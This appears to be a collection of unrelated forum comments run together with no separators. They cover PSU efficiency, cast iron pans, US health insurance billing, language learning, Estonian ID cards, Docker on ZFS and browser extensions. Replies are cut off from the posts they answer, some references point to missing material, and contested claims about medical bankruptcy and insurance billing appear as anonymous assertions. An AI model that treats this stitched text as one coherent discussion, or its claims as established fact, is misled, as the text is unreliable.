Your PSU has an efficiency curve. Chances are that you use more power with your 550 watt PSU compared to a 750 watt one, since it has a lower efficiency while supplying the needed power.

I don't know how efficiency curves for modern PSU look like, maybe it isn't too relevant. I think most PC are well served with their optimal efficacy at around 300W.

Here is a curve, but I don't know if that is representative of reality:

This PSU would be most efficient when your system draws 250 - 300W of power.
Except the "Hard Way" isn't hard; satainless isn't non-stick; and seasoned cast iron doesn't shed weird fluorine products into your food (when the PTFE flakes off, as it inevitably does within 5-10 years, it must be going into the food you eat).
Thanks I edited my comment to say it's called coinsurance. But the point is the same, and in my experience it is not always based on the final negotiated amount actually paid to the healthcare provider.
> I have found that English is a bit weird in that you need obsessively high absorption of like, culture, to execute well

I'd think that English is not unique there.

To speak Chinese at the level of an educated native, I'd say you have learn not only the language, but also the country's history, and have some familiarity with canonical Chinese texts such as the "Four Books and Five Classics" (Confucius, Mencius, etc.), "The Dream of the Red Chamber", etc., to understand idioms such as "四面楚歌" (four sides of Chu song = facing insurmountable difficulty, defeat [1]).

As another example, Hong Kong has its own lingo (a variety of Cantonese) that evolves so rapidly that HK people that have been abroad a few years tell me that they note that the language has evolved and shifted when they come back.

I'm fairly certain that it is easy to spot non-native speakers in many languages, maybe even easier than in English.

I have always thought the places most likely to survive global societal collapse are those in which people live as their forbears did five hundred years ago.

NZ, for instance: sure, it exports food, but it imports almost everything else. Cars. Medicines. Road-making machinery. Clothes. Tractors. Everything manufactured, pretty much. Without artificial fertilizers, even NZ is heavily overpopulated.
Very valid points Brad.

I watched several podcasts of Anita and they were all pretty much the same. A game shows half-naked women = sexism. The same game shows half-naked men but that's ignored. A game shows tortured women = objectification. The same game shows tortured men (including by women) but that's ignored. The game allows you to kill women = sexism. The same game allows you to kill men, but that's fine. Now support us at ....

In my opinion if a game worked like they want it to (you can only kill/torture and see naked men) - only then it would be sexist.
If anyone's planning on learning Japanese with Duolingo: don't. Did that for a few weeks, basically learnt nothing. I soon found out from experienced learners that it was terrible [0]. I then discovered the AJATT/MIA[1] methods of learning Japanese, which prioritize immersion/sentence mining of the target language and learning vocab/kanji and sentence structure through Anki decks (you can use any SRS system but Anki is by far the best with a rich ecosystem of Japanese integrations such as the Yomichan dictionary).

I used the foss app Kakugo (available on Fdroid, not sure about the play store) to learn the hiragana and katakana writing scripts in 3 or 4 days, and have now moved on to reading Tae Kim's Grammar Guide[2] for learning grammar and using Refold JP1K[3][4] style anki decks to learn my first 1000 kanji.

However this method is more of a 'grind', you need to set aside at least 2 hours a day so that you can read Tae's textbook, learn new vocab and do your reviews through Anki. In your free time, once you have a decent amount of grammar understanding and vocab, you need to be immersing in Japanese, so anime, J-dramas, etc. (Jap music isn't very helpful here).

[1] The AJATT method has been around for a long time, it means All Japanese All The Time. It basically promoted SRS and immersion based learning. MIA is basically the same thing, mass immersion, started mainly by MattVsJapan. However I use the guides and tools created by AJATT-Tools, whos contributors focus on tools for Linux, such as MPV scripts for sentence mining (creating Anki cards with unknown vocabulary semi automatically while watching subtitled content, with audio and visual cues). Their guide builds on top of MIA and AJATT style methods: https://github.com/ajatt-tools

Yes I guess your position is internally consistent if you consider the doubt you were referring to to be only your own doubt.
Medical bankruptcy is the most common reason people declare bankruptcy in the United States, making up some 70% of all new bankruptcies in the US.

Being asked to pay for medical bills you cannot afford is incredibly common in America, to the point that it’s the main reason people declare bankruptcy.
that's not correct.

Coinsurance is calculated on the contracted amount / allowable amount. The latter is the negotiated amount that insurance will pay

Source for what, it's so common knowledge that you should list countries that don't do centralized id besides USA in the developed world. Search for voting id laws is probably a good start.

https://www.consilium.europa.eu/en/press/press-releases/2019...

These are from 2019,but the documents have always existed. And each country is using this guideline for their countries.
It happened to me in the US and I asked a friend who was a practicing medical doctor at the time, plus another person who worked at a major insurance company. They both confirmed it can be done.
Sorry, but that doesn't make sense and sounds like a rationalization for being lazy with the question. You're worrying about a straw man instead of trying to help out people who do know how to deal with the actual problem you have.

And bad solutions can still "solve" problems with horrible trade-offs, so instead of searching again for a better solution people may just employ the worse one unaware of the better possibilities, consequences be damned.
The funny thing is, Estonia already has this feature in their ID cards (although, as I'm not Estonian, I'm not sure how often people actually use this feature).

https://learn.e-resident.gov.ee/hc/en-us/articles/3600006244...

Their ID cards can cryptographically sign documents/anything using a PIN that only the user should know, so even if the ID card is stolen, it still can't be used to sign documents/messages.

The problem is, the certificate (public key) purposely contains the full-name/public personal ID code, so that people can prove who (and which ID card) signed the message.

I'm unsure if making the photograph public was purposeful;, the Wikipedia article is quite vague (it says that "personal data" is publicly associated with your certificate, but I can't find whether photos are included under "personal data" on the English language government site).
This is probably a bit overkill for that kind of problems. In Anaconda, the problem is probably that the instance isn't described optimally. In real life (that is, unless you make it up and artificially find the worse possible example), package configuration / management is not considered a "hard" SAT problem (but an "industrial" one, i.e, still NP-complete, but solvable in a reasonable amount of time in practice).

"Hard" problems are those you don't expect to solve in a few minutes on a desktop (or laptop) computer.
That’s the low estimate.

How does #1 work in practice? I've went through several insurance providers over the years, and they always have "Amount billed by the provider", "amount negotiated", "co-insurance" which is on the amount negotiated.

Finally, let me explain the key to understanding calculus. If you get this, calculus is forever just algebra. (Of course, if you cannot, or are unwilling to DO the algebra, you are lost.)

“The derivative of the area under the curve of a function is the function itself.”

Once you see this intuitively, you know calculus.
It doesn't, though. As I see why asking "why are you eating pizza is wrong", but not why asking "why are you using man in your tests" is wrong. So your analogy is more of a misrepresentation of the situation than anything else.

If you don't want focus on the details, then don't provide them. If you provide them, it has to be because you think they might be relevant. And then it's relevant for people to ask for further details.
I swear the first thing that pops into my head, every time, is "corn". And then I go through the exercise you describe after convincing my brain this is definitely not about corn.

If a general lives in the penthouse at the top of a skyscraper, and maybe has a few thousand people who support him, nukes are not going to help deal with revolutionaries on the bottom floor. They are too indiscriminate and can't be used against close up targets.

Whereas a general with a drone swarm and a few thousand supporters might be able to suppress a city. Fortunately a little far fetched, but what was impossible with nukes is only impractical with drones.

Arthur was always my favorite as a kid. What kept me loving it as an adult is how well every episode holds up and how brilliant and absurd the humor could be. In one episode, a kid's head falls out of the sky and compliments the lawn it lands on. In another one, a tiny version of Neil Gaiman is just chilling inside someone's sandwich. Both of these make as much sense in context.

For me, the mastery Arthur had over complex themes and childhood experiences was best shown in its autism episode. It's called "When Carl Met George" and while it dealt with Asperger's specifically (which has since been wrapped up into the Autism Spectrum Disorder umbrella, thanks to the DSM-V), it still explains what being autistic is like to children in a plain, easy-to-understand way.
A quick google led be to this example of a child receiving 5 months care after being born 18 weeks premature in an NHS hospital:

> That's fraud.

Yes, exactly, which is why it doesn’t actually happen. I’m not sure where the OP got this idea, but this isn’t how insurance billing works in the United States.
My mom was in an ICU quality rehab hospital for six weeks while recovering from covid. The nominal cost was some 200,000.00, which they settled with medicare as per a long-running contract for 60,000.00.

Somewhere in the medical cost bureaucracy is a lump of pitchblend hooked up to a geiger counter being used as a random number generator.
> People are exposed on a regular basis to the DMV, the SBA, to Social Security or to Medicare. Then they compare that experience with the avg experience with a commercial insurer, and it does feel like a better experience (of course, if their employer can afford it)

That’s not what surveys show:

> Americans' satisfaction with the way the healthcare system works for them varies by the type of insurance they have. Satisfaction is highest among those with veterans or military health insurance, Medicare and Medicaid, and is lower among those with employer-paid and self-paid insurance. Americans with no health insurance are least satisfied of all.

CMS also publishes assessments of its own performance:

This hits home for me.. my son (now 4 years old) was born very premature at 29 weeks and some change. He spent 7 weeks and 4 days in the NICU. The total hospital bill that was charged to insurance (before settling it between themselves) was roughly 960_000$.

If you include the additional services and whatnot in the few months following being discharged from the hospital he was a million dollar baby.

Complete insanity frankly.. few things make my blood boil more than the sad state of health insurance in the US. Sure, it has gotten better since the ACA… but there is soo much more that needs to change.
Sufficiently advanced robots would leave a lot more of value behind than a nuke which makes deploying them much less costly to the person that wants to actually control the territory.
It's also worth mentioning that private health care and insurance both exist in the UK.

Individuals still get the choice to go to any private doctor they want, they'll just have to pay for it themselves. Just like the US, except the NHS provides an excellent safety net for everyone without private insurance or the means to pay for private care.
its probably because EOBs are convoluted but that's most certainly not what you saw, because what you claim to have seen would be very serious fraud.

Medical billing is not to be messed with.
For my part, I’ve worked with people who sincerely claim to have never had a good manager like the one you describe, informing their opinion that management borders on expensive futility.

I think both experiences are valid. I think good managers are in as short supply as good engineers are, and good people generally. Both hiring markets tend to be markets for lemons. Hyper growth startups that need to fill headcount can’t afford to be choosy, and within companies like this the Pareto principle applies. Unfortunately many people have decades+ of experience with the 80% and have never witnessed the 20%.
> I don't understand how people can be so anti-universal healthcare in the US.

Because I have zero faith that it will end up costing me less, and have a similar level of quality. I’m in tech. Combined HHI is something in the $200s. I pay about $300 per month for the entire family, $5K out of pocket max. So in a worst case scenario, let’s say healthcare costs me $9K per year. That’s what, 4% of my HHI? Will a universal healthcare plan hit me via taxes for 4% or less? Fat fucking chance. And again, we’re not even talking about quality of care, just price.

In the end, the poor will benefit greatly, the rich will carry on as usual, and people in the middle will get squeezed to death.
As an American who immigrated to Europe four years ago, I disagree that modern-Europe would not be able to recreate their healthcare systems under today's polticial climate.

Ironically it is because of the USA that many Europeans are keenly aware of the davistating consequences of allowing for a hyper-capitalistic approach to healthcare. People here often assume the worst about that system, and are completely bewildered when I tell them how it actually works. (Especially in regards to having children, parental leave, and childc care.)
Then short it for free money
$8k deductible might be reasonable if $250k bills are the norm.
It is not spoken out loud a lot (more during COVID), but the people who are against universal healthcare are likely pro high birth rate and survival of the fittest (unless they have money, of course).
there were a number of containers immune to 'docker rm', seemed it was trying to invoke 'zfs delete' on something that had already been removed (presumably moments ago as part of a previous step). Nasty workaround was to manually recreate the dataset (and children) so that it could remove them. The issue was common enough that I could google it so don't stress.

More worryingly, 'prune' locked up for about 10 minutes before getting to do it's thing. pinning the cpu the whole time. This was on my devbox, so maybe it's my doing but did not inspire confidence.

I've run FreeBSD ZFS for about a decade and openzfs/ubuntu in prod for kafka clusters so I'm no stranger - this docker usage was just particularly strange.
Why not? They have many things in common. For example make they both make you sick, often with similar symptoms.

If you're arguing that you shouldn't dismiss the danger of covid because of its flu like nature, then be my guest but asking not to make comparisons between things doesn't strike me as a very smart thing to do.

Covid can be dangerous and similar to the flu at the same time.
$1400 for cholecalciferate - aka Vitamin D-3
$700 for sterile water

I don't comprehend how charges like that are even remotely feasible for anything other than the deferal of liability from the hospital to the mfg., who charges a premium. But I suppose that goes under the liability insurance domain.

But that's only half of the story. Billing is a negotiation process between the practitioners or their institution and the insurance providers, so naturally the hospital is going to wring every penny out that they can which means they'll "charge" you $500 for a $10 bag of saline, and leave you at the mercy of wolves.

Just another perverted feedback loop, the insurance industry is so well established that it's become necessity, and treatment is made expensive by insurance, and will presumably continue in that direction because of its huge inertia.
> People are exposed on a regular basis to the DMV, the SBA, to Social Security or to Medicare. Then they compare that experience with the avg experience with a commercial insurer, and it does feel like a better experience (of course, if their employer can afford it)

This probably varies regionally.

My local - upstate NY - DMV is quick, efficient, and the folks there are pleasant and competent.

My private health insurer hasn't been able to fix my website login for four years, routinely denies care for chronic conditions, and fulfills most of the nasty stereotypes about government bureaucracies.
How is the invention of an AI any different from the result of any traditional optimization process?

Example: I searched for aerodinamics genetic algorithms and I found "Genetic algorithms applied to the aerodynamic design of transonic airfoils" https://arc.aiaa.org/doi/abs/10.2514/3.46810 (paywalled but that's not the point.)

Rename genetic algorithms into Multi Generational AI and is the Patent Office going to accept a patent for those airfoils with the AI as the inventor?

No, no, no. Smearing raw oil on the pan and then putting it away is not "seasoning". The flax oil has to be cured to become seasoning.
Agreed, as a consultant in software engineering (not games though), a lot of companies that used to outsource have come back for many reasons, mainly communication and code quality.

Oh no.

The sugar industry has been having success with the "it's all natural, therefore better than artificial sweetener" angle. That was bad enough.

You're right, though. The tobacco industry could try this one too. I hope there isn't enough overlap between potential tobacco chewers and people who go for the "natural => good" line of thinking.

Are there any nice Chrome extensions to expand on Google that anyone can recommend? Would be nice to have a default Reddit setting, or a 'search reddit' button on Google.

There's a couple other ones as well besides Reddit, particularly around key forums. Shouldn't be too hard to allow custom-buttons.

In general now that people are here, I'd be pretty interested to know what people's top 5 extensions are outside of the regular (uBlock, Pocket etc). They're quite powerful but I don't use that many actually.

In the EU I use a no-cookies extension, though imperfect. I also use 'video speed controller' religiously to easily watch/listen to content faster. But overal I find few extensions very useful and the ones I use cause issues on a small fraction of sites. Happy to hear from computer super-users what they use.

The worst tactical move the "left" has ever done in the US is allow itself to be tied ideologically to the ACA. To my outsider's view this is nothing but an entrenchment of the 'feudal' nature of the US health care system, and a direct subsidy to private insurance companies (even if obligations were forced on them). From a pragmatic POV I see why it was put in place, but frankly it's just awful.
